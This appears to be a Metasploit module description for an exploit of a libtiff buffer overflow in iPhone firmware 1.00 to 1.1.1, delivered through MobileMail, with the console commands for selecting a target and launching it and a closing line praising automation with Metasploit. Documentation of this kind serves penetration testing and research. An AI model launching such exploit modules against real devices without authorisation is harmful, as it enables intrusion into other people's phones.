This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/apple_ios/email/mobilemail_libtiff
msf exploit(mobilemail_libtiff) > show targets
...targets...
msf exploit(mobilemail_libtiff) > set TARGET < target-id >
msf exploit(mobilemail_libtiff) > show options
...show and set options...
msf exploit(mobilemail_libtiff) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
